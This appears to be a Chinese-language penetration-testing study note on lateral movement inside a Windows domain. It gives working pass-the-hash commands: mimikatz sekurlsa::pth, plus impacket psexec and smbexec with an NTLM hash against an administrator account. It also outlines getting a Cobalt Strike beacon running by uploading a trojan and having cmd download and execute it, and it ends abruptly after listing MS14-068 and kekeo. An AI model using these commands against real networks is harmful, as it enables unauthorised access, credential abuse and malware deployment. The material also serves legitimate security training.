内网安全-横向移动PTH 哈希PTT 票据PTK 密匙Kerberos密码喷射

一.域横向pth，mimkatz，NTLM

windwos server 2012 R2之前可能是NTLM和LM，之后为NTLM

1.mimkatz ptk

使用mimkatz进行横向移动

mimikatz sekurlsa::pth /user:administrator（目标本地用户名） /domain:192.168.3.32（目标ip） /ntlm:518b98ad4178a53695dc997aa02d455c（目标hash）

在执行命令机器弹出cmd窗口

使用该命令进行传递木马

创建bshell：

执行:

在内网攻击机器进行hash传递

cs上配置socket节点

配置代理

使用psexec进行hash传递返回被控机器shell终端：

 .\psexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

上线cs：

1.上传木马到web目录

2.使用cmd下载木马并且执行

使用smbexec进行传递

.\smbexec.exe  -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32

2.pth-漏洞&kekeo&Ticks

1.ms14068

2.kekeo（高权限，需要NTGM）